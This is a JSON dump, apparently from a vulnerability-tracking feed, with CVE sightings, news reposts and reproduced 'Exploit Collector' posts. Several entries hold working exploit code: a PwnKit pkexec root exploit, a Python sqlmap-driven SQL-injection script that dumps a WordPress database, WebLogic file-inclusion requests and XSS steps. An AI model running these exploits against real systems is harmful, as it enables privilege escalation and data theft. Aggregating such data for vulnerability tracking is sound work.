(/home/zzw/Desktop/EXE/nvim_exe/nvim-0.3.0-ASAN+0x4c6e04) in __asan_memmove\nShadow bytes around the buggy address:\n  0x0c067fff8910: 00 fa fa fa 00 00 00 05 fa fa fd fd fd fa fa fa\n  0x0c067fff8920: 00 00 00 fa fa fa 00 00 01 fa fa fa fd fd fd fd\n  0x0c067fff8930: fa fa 00 00 00 fa fa fa 00 00 00 00 fa fa fd fd\n  0x0c067fff8940: fd fa fa fa fd fd fd fa fa fa fd fd fd fd fa fa\n  0x0c067fff8950: fd fd fd fa fa fa fd fd fd fd fa fa 00 00 00 06\n=>0x0c067fff8960: fa fa fd fd fd fd fa fa 00 00[05]fa fa fa fa fa\n  0x0c067fff8970: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa\n  0x0c067fff8980: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa\n  0x0c067fff8990: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa\n  0x0c067fff89a0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa\n  0x0c067fff89b0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa\nShadow byte legend (one shadow byte represents 8 application bytes):\n  Addressable:           00\n  Partially addressable: 01 02 03 04 05 06 07 \n  Heap left redzone:       fa\n  Freed heap region:       fd\n  Stack left redzone:      f1\n  Stack mid redzone:       f2\n  Stack right redzone:     f3\n  Stack after return:      f5\n  Stack use after scope:   f8\n  Global redzone:          f9\n  Global init order:       f6\n  Poisoned by user:        f7\n  Container overflow:      fc\n  Array cookie:            ac\n  Intra object redzone:    bb\n  ASan internal:           fe\n  Left alloca redzone:     ca\n  Right alloca redzone:    cb\n  Shadow gap:              cc\n==18811==ABORTING", "vulnerability": "CVE-2023-4781", "author": {"login": "automation"}}, {"uuid": "438f60d7-2266-42f2-80ce-4732589e8079", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T12:01:07.189286+00:00", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mutx2rrgfl23", "content": "\ud83d\udfe0 CVE-2026-84935 - High (8)\n\nThe HT Menu  WordPress plugin before 1.2.7 does not perform any capability or object-ownership ch...\n\nhttps://www.thehackerwire.com/vulnerability/CVE-2026-84935/\n\n#infosec #cybersecurity #CVE #vulnerability #security #patchstack", "vulnerability": "CVE-2026-84935", "author": {"login": "automation"}}, {"uuid": "4d808c1a-490c-4761-9a9b-cbf1c677150b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T12:00:58.755584+00:00", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mutx2l4nrq22", "content": "\ud83d\udfe0 CVE-2026-84934 - High (8)\n\nThe JCH Optimize WordPress plugin before 6.0.1 does not perform a capability check on one of its ...\n\nhttps://www.thehackerwire.com/vulnerability/CVE-2026-84934/\n\n#infosec #cybersecurity #CVE #vulnerability #security #patchstack", "vulnerability": "CVE-2026-84934", "author": {"login": "automation"}}, {"uuid": "45c1a0c7-f1d7-40c5-92ee-d609b52cbf8b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T12:00:50.689494+00:00", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mutx2duf3g2r", "content": "\ud83d\udfe0 CVE-2026-84219 - High (7.5)\n\nThe Kirki  WordPress plugin before 6.3.0 does not hold back every spelling of the HTML entities i...\n\nhttps://www.thehackerwire.com/vulnerability/CVE-2026-84219/\n\n#infosec #cybersecurity #CVE #vulnerability #security #patchstack", "vulnerability": "CVE-2026-84219", "author": {"login": "automation"}}, {"uuid": "c122b10c-f21a-4bbd-a157-9d9be40b2c38", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T12:00:06.905256+00:00", "type": "published-proof-of-concept", "source": "Telegram/0fB2wFx9rVMAPFy-F0wBOZ1Zwfkp3PdEKRrfYNzbjLXap34", "content": "", "vulnerability": "CVE-2026-64705", "author": {"login": "automation"}}, {"uuid": "e53c7257-40fb-4a10-94f2-192962a69572", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T12:00:06.862548+00:00", "type": "published-proof-of-concept", "source": "Telegram/0fB2wFx9rVMAPFy-F0wBOZ1Zwfkp3PdEKRrfYNzbjLXap34", "content": "", "vulnerability": "CVE-2021-3030", "author": {"login": "automation"}}, {"uuid": "2ef43e02-4faf-4fdf-afd1-4c04105f2dc3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T12:00:06.814675+00:00", "type": "published-proof-of-concept", "source": "Telegram/0fB2wFx9rVMAPFy-F0wBOZ1Zwfkp3PdEKRrfYNzbjLXap34", "content": "", "vulnerability": "CVE-2026-73570", "author": {"login": "automation"}}, {"uuid": "23b3c26c-b5f9-4b9d-9ecb-3dc0f5d66db2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T12:00:06.770438+00:00", "type": "published-proof-of-concept", "source": "Telegram/0fB2wFx9rVMAPFy-F0wBOZ1Zwfkp3PdEKRrfYNzbjLXap34", "content": "", "vulnerability": "CVE-2026-78938", "author": {"login": "automation"}}, {"uuid": "18b06f28-f149-4dde-becb-1be15a48df60", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T12:00:06.723840+00:00", "type": "published-proof-of-concept", "source": "Telegram/0fB2wFx9rVMAPFy-F0wBOZ1Zwfkp3PdEKRrfYNzbjLXap34", "content": "", "vulnerability": "CVE-2026-1529", "author": {"login": "automation"}}, {"uuid": "6fd630b7-bc82-43df-8ab0-d66ba48920f8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T12:00:06.657184+00:00", "type": "published-proof-of-concept", "source": "Telegram/0fB2wFx9rVMAPFy-F0wBOZ1Zwfkp3PdEKRrfYNzbjLXap34", "content": "", "vulnerability": "CVE-2026-64747", "author": {"login": "automation"}}, {"uuid": "94ce0d13-9875-40a1-9ef3-b46cc8cecb2c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T12:00:06.598294+00:00", "type": "published-proof-of-concept", "source": "Telegram/0fB2wFx9rVMAPFy-F0wBOZ1Zwfkp3PdEKRrfYNzbjLXap34", "content": "", "vulnerability": "CVE-2026-18963", "author": {"login": "automation"}}, {"uuid": "2ce8db43-af7e-4309-bf41-763cca1a3d86", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T12:00:06.559172+00:00", "type": "published-proof-of-concept", "source": "Telegram/0fB2wFx9rVMAPFy-F0wBOZ1Zwfkp3PdEKRrfYNzbjLXap34", "content": "", "vulnerability": "CVE-2026-27876", "author": {"login": "automation"}}, {"uuid": "14623f38-c13c-4f74-80b6-9f017ce94075", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T12:00:06.507830+00:00", "type": "published-proof-of-concept", "source": "Telegram/0fB2wFx9rVMAPFy-F0wBOZ1Zwfkp3PdEKRrfYNzbjLXap34", "content": "", "vulnerability": "CVE-2020-10770", "author": {"login": "automation"}}, {"uuid": "19cf51f2-44f6-4c5a-bc08-fad6d914c3c8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T12:00:06.464088+00:00", "type": "published-proof-of-concept", "source": "Telegram/0fB2wFx9rVMAPFy-F0wBOZ1Zwfkp3PdEKRrfYNzbjLXap34", "content": "", "vulnerability": "CVE-2026-28956", "author": {"login": "automation"}}, {"uuid": "a8503e4a-5a43-43c4-beea-a5a40218dad6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T12:00:06.409728+00:00", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/40447", "content": "Exploit Collector\nPolicyKit-1 0.105-31 Privilege Escalation\n\nhttps://3.bp.blogspot.com/-UEPmQpzFyCs/WWlvQSuTgiI/AAAAAAAAINA/LFaHvgtClFA67K--PZO5ZJSS69Dsl8UBACLcBGAs/s1600/h31.png \nPolicyKit-1 version 0.105-31 pkexec local privilege escalation exploit.\n\nMD5 | 306be3c9311743edfa3eecbd845b8ac0\n\nDownload\n# Exploit Title: PolicyKit-1 0.105-31 - Privilege Escalation\n# Exploit Author: Lance Biggerstaff\n# Original Author: ryaagard (https://github.com/ryaagard)\n# Date: 27-01-2022\n# Github Repo: https://github.com/ryaagard/CVE-2021-4034\n# References: https://www.qualys.com/2022/01/25/cve-2021-4034/pwnkit.txt\n\n# Description: The exploit consists of three files `Makefile`, `evil-so.c` & `exploit.c`\n\n##### Makefile #####\n\nall:\ngcc -shared -o evil.so -fPIC evil-so.c\ngcc exploit.c -o exploit\n\nclean:\nrm -r ./GCONV_PATH=. && rm -r ./evildir && rm exploit && rm evil.so\n\n#################\n\n##### evil-so.c #####\n\n#include  \" DIR \"/gconv-modules\");\nsystem(\"cp \" EVILSO \".so \" DIR);\n\nexecve(BIN, argv, envp);\n\nreturn 0;\n}\n\n#################\n\nSource:packetstormsecurity.com", "vulnerability": "CVE-2021-4034", "author": {"login": "automation"}}, {"uuid": "22ae883d-35f2-469a-ad3d-717ff2f206ff", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T12:00:06.365708+00:00", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/40449", "content": "Exploit Collector\nWordPress Modern Events Calendar 6.1 SQL Injection\n\nhttps://3.bp.blogspot.com/-WgHI0tg_gBA/WWlu6qiRwXI/AAAAAAAAIJQ/y7F9DyJjlcsOiH2i6j2FGMtA3ctyoL26QCLcBGAs/s1600/h109.png WordPress Modern Events Calendar plugin versions 6.1 and below suffer from an unauthenticated remote SQL injection vulnerability.\n\nMD5 | 072f2b4d4bc04c1eb3516c69bee38723Download # Exploit Title: WordPress Plugin Modern Events Calendar V 6.1 - SQL Injection (Unauthenticated)\n# Date 26.01.2022\n# Exploit Author: Ron Jost (Hacker5preme)\n# Vendor Homepage: https://webnus.net/modern-events-calendar/\n# Software Link: https://downloads.wordpress.org/plugin/modern-events-calendar-lite.6.1.0.zip\n# Version: <=\n# Tested on: Ubuntu 20.04\n# CVE: CVE-2021-24946\n# CWE: CWE-89\n# Documentation: https://github.com/Hacker5preme/Exploits/blob/main/Wordpress/CVE-2021-24946/README.md\n\n'''\nDescription:\nThe Modern Events Calendar Lite WordPress plugin before 6.1.5 does not sanitise and escape the time parameter\nbefore using it in a SQL statement in the mec_load_single_page AJAX action, available to unauthenticated users,\nleading to an unauthenticated SQL injection issue\n'''\n\n#Banner:\nbanner = '''\n\n.oOOOo.  o      'O o.OOoOoo \n.O     o  O       o  O                 .oOOo. .oOOo. .oOOo.  oO             .oOOo. o   O  .oOOo. o   O  .oOOo. \no         o       O  o                      O O    o      O   O                  O O   o  O    o O   o  O \no         o       o  ooOO                   o o    O      o   o                  o o   o  o    O o   o  o \no         O      O'  O       ooooooooo     O' o    o     O'   O   ooooooooo     O' OooOOo `OooOo OooOOo OoOOo. \nO         `o    o    o                    O   O    O    O     o                O       O       O     O  O    O \n`o     .o  `o  O     O                  .O    o    O  .O      O              .O        o       o     o  O    o \n`OoooO'    `o'     ooOooOoO           oOoOoO `OooO' oOoOoO OooOO           oOoOoO     O  `OooO'     O  `OooO' \n\n[+] Modern Events Calendar Lite SQL-Injection\n[@] Developed by Ron Jost (Hacker5preme)\n\n'''\n\nprint(banner)\n\nimport requests\nimport argparse\nfrom datetime import datetime\nimport os\n\n# User-Input:\nmy_parser = argparse.ArgumentParser(description='Wordpress Plugin Modern Events Calendar SQL-Injection (unauthenticated)')\nmy_parser.add_argument('-T', '--IP', type=str)\nmy_parser.add_argument('-P', '--PORT', type=str)\nmy_parser.add_argument('-U', '--PATH', type=str)\nargs = my_parser.parse_args()\ntarget_ip = args.IP\ntarget_port = args.PORT\nwp_path = args.PATH\n# Exploit:\nprint('[*] Starting Exploit at: ' + str(datetime.now().strftime('%H:%M:%S')))\nprint('[*] Payload for SQL-Injection:')\nexploitcode_url = r'sqlmap \"http://' + target_ip + ':' + target_port + wp_path + r'wp-admin/admin-ajax.php?action=mec_load_single_page&time=2\" '\nexploitcode_risk = ' -p time'\nprint('    Sqlmap options:')\nprint('     -a, --all           Retrieve everything')\nprint('     -b, --banner        Retrieve DBMS banner')\nprint('     --current-user      Retrieve DBMS current user')\nprint('     --current-db        Retrieve DBMS current database')\nprint('     --passwords         Enumerate DBMS users password hashes')\nprint('     --tables            Enumerate DBMS database tables')\nprint('     --columns           Enumerate DBMS database table column')\nprint('     --schema            Enumerate DBMS schema')\nprint('     --dump              Dump DBMS database table entries')\nprint('     --dump-all          Dump all DBMS databases tables entries')\nretrieve_mode = input('Which sqlmap option should be used to retrieve your information? ')\nexploitcode = exploitcode_url +  retrieve_mode + exploitcode_risk\nos.system(exploitcode)\nprint('Exploit finished at: ' + str(datetime.now().strftime('%H:%M:%S'))) Source:packetst[...]", "vulnerability": "CVE-2021-24946", "author": {"login": "automation"}}, {"uuid": "3346f72b-2f43-44dc-b117-464506207e9e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T12:00:06.315044+00:00", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/40370", "content": "Exploit Collector\nLinux Kernel Slab Out-Of-Bounds Write\n\nhttps://4.bp.blogspot.com/-mbNmyGHywr4/WWlve-suujI/AAAAAAAAIP4/9elXOC6IHOcW_3VzQDLCix2bjP9zh38ZgCLcBGAs/s1600/h83.png \nThis archive contains demo exploits for CVE-2022-0185. There are two versions here. The non-kctf version (fuse version) specifically targets Ubuntu with kernel version 5.11.0-44. It does not directly return a root shell, but makes /bin/bash suid, which will lead to trivial privilege escalation. Adjusting the single_start and modprobe_path offsets should allow it to work on most other Ubuntu versions that have kernel version 5.7 or higher; for versions between 5.1 and 5.7, the spray will need to be improved as in the kctf version. The exploitation strategy relies on FUSE and SYSVIPC elastic objects to achieve arbitrary write. The kctf version achieves code execution as the root user in the root namespace, but has at most 50% reliability - it is targeted towards Kubernetes 1.22 (1.22.3-gke.700). This exploitation strategy relies on pipes and SYSVIPC elastic objects to trigger a stack pivot and execute a ROP chain in kernelspace.\n\nMD5 | bb5c8ef222c6b344deefbde1bb368f2d\n\nDownload\nSource:packetstormsecurity.com\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "vulnerability": "CVE-2022-0185", "author": {"login": "automation"}}, {"uuid": "df54cb8e-a688-408e-8094-aa5e71e05197", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T12:00:06.272906+00:00", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/40438", "content": "Exploit Collector\nWordPress Mortgage Calculators WP 1.52 Cross Site Scripting\n\nhttps://2.bp.blogspot.com/-U4x-65bW3GQ/WWlvNN9osvI/AAAAAAAAIMY/h5EIQTz5wbsbDMf6z0LfMa0yML4cI035gCLcBGAs/s1600/h21.png \nWordPress Mortgage Calculators WP plugin version 1.52 suffers from a persistent cross site scripting vulnerability.\n\nMD5 | 244a7ae033a33d6c4e56be58e6a7618c\n\nDownload\n# Exploit Title: WordPress Plugin Mortgage Calculators WP 1.52 - Stored Cross-Site Scripting (XSS) (Authenticated)\n# Date: 25-10-2021\n# Exploit Author: Ceylan Bozogullarindan\n# Vendor Homepage: https://lenderd.com/\n# Software Link: https://mortgagecalculatorsplugin.com/\n# Version: 1.52\n# Tested on: Linux\n# CVE : CVE-2021-24904 (https://wpscan.com/vulnerability/7b80f89b-e724-41c5-aa03-21d1eef50f21)\n# Description:\nThe plugin gives users real-time estimates by providing mortgage calculators. It does not implement any sanitisation on the color value of the background of a calculator in admin panel, which could lead to authenticated Stored Cross-Site Scripting issues. An attacker can execute malicious javascript codes for all visitors of a page containing the calculator.\n# Steps To Reproduce:\n1. Go to settings page available under the \"Calculator\" menu item.\n2. Click the \"Select Color\" button and type the following payload the input space: `hacked`\n3. Click the \"Save Changes\" button to save settings.\n4. Create a new page and add the shortcode ([mcwp type=\"cv\"]) of the calculator, for testing.\n5. Visit the page to trigger XSS.\n\n\nSource:packetstormsecurity.com", "vulnerability": "CVE-2021-24904", "author": {"login": "automation"}}, {"uuid": "0902272a-4da6-4e4c-a55c-38a60606b7f6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T12:00:06.222102+00:00", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/40442", "content": "Exploit Collector\nOracle WebLogic Server 14.1.1.0.0 Local File Inclusion\n\nhttps://4.bp.blogspot.com/-hp3wB9AXd0k/WWlvDY5V44I/AAAAAAAAIKs/ScSIhWVAvDAhjeMkIwqbNby9r3gKQvOEgCLcBGAs/s1600/h128.png \nOracle WebLogic Server suffers from a local file inclusion vulnerability. Versions affected include 12.1.3.0.0, 12.2.1.3.0, 12.2.1.4.0 and 14.1.1.0.0.\n\nMD5 | ee531447f09be86139ecc9c82f1bf2e0\n\nDownload\n# Exploit Title: Oracle WebLogic Server 14.1.1.0.0 - Local File Inclusion\n# Date: 25/1/2022\n# Exploit Author: Jonah Tan (@picar0jsu)\n# Vendor Homepage: https://www.oracle.com\n# Software Link:\nhttps://www.oracle.com/middleware/technologies/weblogic-server-installers-downloads.html\n# Version: 12.1.3.0.0, 12.2.1.3.0, 12.2.1.4.0 and 14.1.1.0.0\n# Tested on: Windows Server 2019\n# CVE : CVE-2022-21371\n\n# Description\nVulnerability in the Oracle WebLogic Server product of Oracle Fusion\nMiddleware (component: Web Container).\nSupported versions that are affected are 12.1.3.0.0, 12.2.1.3.0, 12.2.1.4.0\nand 14.1.1.0.0.\nEasily exploitable vulnerability allows unauthenticated attacker with\nnetwork access via HTTP to compromise Oracle WebLogic Server.\nSuccessful attacks of this vulnerability can result in unauthorized access\nto critical data or complete access to all Oracle WebLogic Server\naccessible data.\n\n# PoC\nGET .//META-INF/MANIFEST.MF\nGET .//WEB-INF/web.xml\nGET .//WEB-INF/portlet.xml\nGET .//WEB-INF/weblogic.xml\n\n\nSource:packetstormsecurity.com", "vulnerability": "CVE-2022-21371", "author": {"login": "automation"}}, {"uuid": "f54ebf95-04fa-49e2-a5bb-7c784850cce8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T12:00:06.169345+00:00", "type": "seen", "source": "https://t.me/hacking_Attack/40318", "content": "hacking: security in practice\nLocal Privilege Escalation in polkit's pkexec (CVE-2021-4034)\n\nsubmitted by /u/donutloop \n[link] [comments]\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "vulnerability": "CVE-2021-4034", "author": {"login": "automation"}}, {"uuid": "b23602d9-5078-4d1f-896f-770f3615d813", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T12:00:06.113367+00:00", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/40289", "content": "Exploit Collector\nPolkit pkexec CVE-2021-4034 Proof Of Concept\n\nhttps://3.bp.blogspot.com/-YTa6qox_ltk/WWlvNeWMUbI/AAAAAAAAIMc/0l9a_Kr-MFozVC5jeSwhLNgVZ9cZuXXlQCLcBGAs/s1600/h22.png \nLocal privilege escalation root exploit for Polkit's pkexec vulnerability as described in CVE-2021-4034. Verified on Debian 10 and CentOS 7. Written in C.\n\nMD5 | 962194925e2d2e27879a466979773a6e\n\nDownload\n/*\n* Proof of Concept for PwnKit: Local Privilege Escalation Vulnerability Discovered in polkit\u2019s pkexec (CVE-2021-4034) by Andris Raugulis  pwnkit/gconv-modules\");\nfp = fopen(\"pwnkit/pwnkit.c\", \"w\");\nfprintf(fp, \"%s\", shell);\nfclose(fp);\nsystem(\"gcc pwnkit/pwnkit.c -o pwnkit/pwnkit.so -shared -fPIC\");\nchar *env[] = { \"pwnkit\", \"PATH=GCONV_PATH=.\", \"CHARSET=PWNKIT\", \"SHELL=pwnkit\", NULL };\nexecve(\"/usr/bin/pkexec\", (char*[]){NULL}, env);\n}\n\n\nSource:packetstormsecurity.com\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "vulnerability": "CVE-2021-4034", "author": {"login": "automation"}}, {"uuid": "ae916e1c-d6ed-4737-8a16-f964ea55848f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T12:00:06.064165+00:00", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/40282", "content": "Exploit Collector\nPolkit pkexec CVE-2021-4034 Local Root\n\nhttps://3.bp.blogspot.com/-L1ywDwIvHnM/WWlvbqBqi6I/AAAAAAAAIPQ/e-y1sGxHKpMGeO7A8b-5LHWSXrbuRWhUwCLcBGAs/s1600/h73.png \nLocal privilege escalation root exploit for Polkit's pkexec vulnerability as described in CVE-2021-4034 and known as PwnKit.\n\nMD5 | f604c193ceee98f13847ab2cadba22bf\n\nDownload\nSource:packetstormsecurity.com\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "vulnerability": "CVE-2021-4034", "author": {"login": "automation"}}, {"uuid": "8f612377-01c2-4ec4-a676-8bf50ad8d17a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T12:00:06.012387+00:00", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/40288", "content": "Exploit Collector\nPolkit pkexec CVE-2021-4034 Local Root\n\nhttps://3.bp.blogspot.com/-PWecZP4mFlw/WWlvEzu2ALI/AAAAAAAAILE/oNE1-kA8UGAvJ1jZSurfN5UYJhXI-p6VQCLcBGAs/s1600/h134.png \nLocal privilege escalation root exploit for Polkit's pkexec vulnerability as described in CVE-2021-4034 and known as PwnKit. Written in Go.\n\nMD5 | 271a8e6ede6ade0c32c81eb6c9a1ab8f\n\nDownload\nSource:packetstormsecurity.com\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "vulnerability": "CVE-2021-4034", "author": {"login": "automation"}}, {"uuid": "16d18bef-8441-4f8b-8481-947795d9be3e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T12:00:05.956311+00:00", "type": "exploited", "source": "https://t.me/hacking_Attack/40257", "content": "Black Hat Ethical Hacking\nLinux system service bug gives root on all major distros, exploit released\n\nhttps://www.blackhatethicalhacking.com/wp-content/uploads/2021/08/Untitled-design-2-1.png Linux system service bug gives root on all major distros, exploit releasedPost Views: 482 https://www.blackhatethicalhacking.com/wp-content/uploads/2021/08/BECOME-A-PATRON-AND-UNLOCK-EXCLUSIVE-VIDEOS-1.png Reading Time: 1 Minute\nA vulnerability in Polkit\u2019s pkexec component identified as CVE-2021-4034 (PwnKit) is present in the default configuration of all major Linux distributions and can be exploited to gain full root privileges on the system, researchers warn today. \nCVE-2021-4034 has been named PwnKit and its origin has been tracked to the initial commit of pkexec, more than 12 years ago, meaning that all Polkit versions are affected.\n\nPart of the Polkit open-source application framework that negotiates the interaction between privileged and unprivileged processes, pkexec allows an authorized user to execute commands as another user, doubling as an alternative to sudo. Easy to exploit, PoC expected soonResearchers at Qualys information security company found that the pkexec program could be used by local attackers to increase privileges to root on default installations of Ubuntu, Debian, Fedora, and CentOS.\n\nThey warn that PwnKit is likely exploitable on other Linux operating systems as well.\n\nBharat Jogi, Director of Vulnerability and Threat Research at Qualys explains\u00a0that PwnKit is \u201ca memory corruption vulnerability in Polkit\u2019s, which allows any unprivileged user to gain full root privileges on a vulnerable system using default polkit configuration,\u201d\nSee Also: Complete Offensive Security and Ethical Hacking Course The researcher notes that the issue has been hiding in plain sight since the first version of pkexec inn May 2009. The video below demonstrates the exploitability of the bug:\nExploiting the flaw is so easy, the researchers say, that proof-of-concept (PoC) exploit code is expected to become public in just a few days. The Qualys Research Team will not release a PoC for PwnKit.\n\nUpdate: An exploit has\u00a0already emerged in the public space, less than three hours after Qualys published the technical details for\u00a0PwnKit. BleepingComputer has compiled and tested the available exploit, which proved to be reliable as it gave us root privileges on the system on all attempts.\nhttps://www.bleepstatic.com/images/news/u/1100723/2022/PwnKitExploit.png \n___________________________ \n@hacking_Attack\n@Hacking_Video", "vulnerability": "CVE-2021-4034", "author": {"login": "automation"}}, {"uuid": "14a00a8f-0a5f-4234-aa70-385f9968aa28", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T12:00:05.904456+00:00", "type": "exploited", "source": "https://t.me/hacking_Attack/40084", "content": "Black Hat Ethical Hacking\nCWP bugs allow code execution as root on Linux servers\n\nhttps://www.blackhatethicalhacking.com/wp-content/uploads/2021/08/Untitled-design-2-1.png CWP bugs allow code execution as root on Linux serversPost Views: 196 https://www.blackhatethicalhacking.com/wp-content/uploads/2021/08/BECOME-A-PATRON-AND-UNLOCK-EXCLUSIVE-VIDEOS-1.png Reading Time: 1 Minute\nTwo security vulnerabilities that impact the Control Web Panel (CWP) software can be chained by unauthenticated attackers to gain remote code execution (RCE) as root on vulnerable Linux servers. CWP, previously known as CentOS Web Panel, is a free Linux control panel for managing dedicated web hosting\u00a0servers and virtual private servers.\n\nThe two security flaws found by Octagon Networks\u2019 Paulos Yibelo\u00a0are a file inclusion vulnerability (CVE-2021-45467) and a file write (CVE-2021-45466) bug that lead to RCE when chained together.\n\nIn short, successful exploitation requires bypassing security protections to prevent attackers from reaching the restricted API section without authentication.\n\nThis can be done by registering an API key using the file inclusion bug and creating a malicious authorized_keys file on the server using the file write flaw.\nSee Also: Complete Offensive Security and Ethical Hacking Course While the CVE-2021-45467 file inclusion vulnerability was patched, Octagon Networks says that they saw how \u201csome managed to reverse the patch and exploit some servers.\u201d\nOctagon Networks says that, while the CVE-2021-45467 file inclusion vulnerability was patched,\u00a0they saw how \u201csome managed to reverse the patch and exploit some servers.\u201d\n\nThe security researchers also said they would release a proof-of-concept exploit for this pre-auth RCE chain after enough Linux servers running CWP will get upgraded to the latest version.\nSee Also: McAfee Bug Can Be Exploited to Gain Windows SYSTEM Privileges According to CWP\u2019s developers, their software supports the following operating systems: CentOS, Rocky Linux, Alma Linux, and Oracle Linux\n\nWhile the CWP site claims that roughly 30,000 servers are running CWP, BleepingComputer found almost 80,000 Internet-exposed CWP servers\u00a0on BinaryEdge. \n\nOver 200,000 can also be found on\u00a0Shodan and Censys, according to the researchers who discovered the pre-authentication RCE chain.\nSee Also: OSINT Tool: Commit Stream Are u a security researcher? Or a company that writes articles or write ups about Cyber Security, Offensive Security (related to information security in general) that match with our specific audience and is worth sharing?\n\nIf you want to express your idea in an article contact us here for a quote: info@blackhatethicalhacking.com\nSee Also: Stuxnet \u2013 A weapon made out of code that almost started WW3 Source: threatpost.com (Click Link)https://www.blackhatethicalhacking.com/wp-content/uploads/2022/01/merch.png Recent News* https://www.blackhatethicalhacking.com/wp-content/uploads/2022/01/mcafee-d2c-90x90.jpg McAfee Bug Can Be Exploited to Gain Windows SYSTEM Privileges1 day ago\n* https://www.blackhatethicalhacking.com/wp-content/uploads/2022/01/ezgif.com-gif-maker-12-90x90.jpg Cisco bug gives remote attackers root privileges via debug mode4 days ago\n* https://www.blackhatethicalhacking.com/wp-content/uploads/2022/01/ezgif.com-gif-maker-11-1-90x90.jpg Beijing Olympics App Flaws Allow Man-in-the-Middle Attacks5 days ago\n* https://www.blackhatethicalhacking.com/wp-content/uploads/2022/01/ezgif.com-gif-maker-10-90x90.jpg SSRF vulnerability in VMWare authentication software could allow access to user data6 days ago\n* https://www.blackhatethicalhacking.com/wp-content/uploads/2022/01/Safari-Apple-navigateur-90x90.j[...]", "vulnerability": "CVE-2021-45467", "author": {"login": "automation"}}, {"uuid": "3e5684a7-e5a1-4d18-8601-bdd4be3487b4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T12:00:05.854764+00:00", "type": "exploited", "source": "https://t.me/hacking_Attack/40084", "content": "Black Hat Ethical Hacking\nCWP bugs allow code execution as root on Linux servers\n\nhttps://www.blackhatethicalhacking.com/wp-content/uploads/2021/08/Untitled-design-2-1.png CWP bugs allow code execution as root on Linux serversPost Views: 196 https://www.blackhatethicalhacking.com/wp-content/uploads/2021/08/BECOME-A-PATRON-AND-UNLOCK-EXCLUSIVE-VIDEOS-1.png Reading Time: 1 Minute\nTwo security vulnerabilities that impact the Control Web Panel (CWP) software can be chained by unauthenticated attackers to gain remote code execution (RCE) as root on vulnerable Linux servers. CWP, previously known as CentOS Web Panel, is a free Linux control panel for managing dedicated web hosting\u00a0servers and virtual private servers.\n\nThe two security flaws found by Octagon Networks\u2019 Paulos Yibelo\u00a0are a file inclusion vulnerability (CVE-2021-45467) and a file write (CVE-2021-45466) bug that lead to RCE when chained together.\n\nIn short, successful exploitation requires bypassing security protections to prevent attackers from reaching the restricted API section without authentication.\n\nThis can be done by registering an API key using the file inclusion bug and creating a malicious authorized_keys file on the server using the file write flaw.\nSee Also: Complete Offensive Security and Ethical Hacking Course While the CVE-2021-45467 file inclusion vulnerability was patched, Octagon Networks says that they saw how \u201csome managed to reverse the patch and exploit some 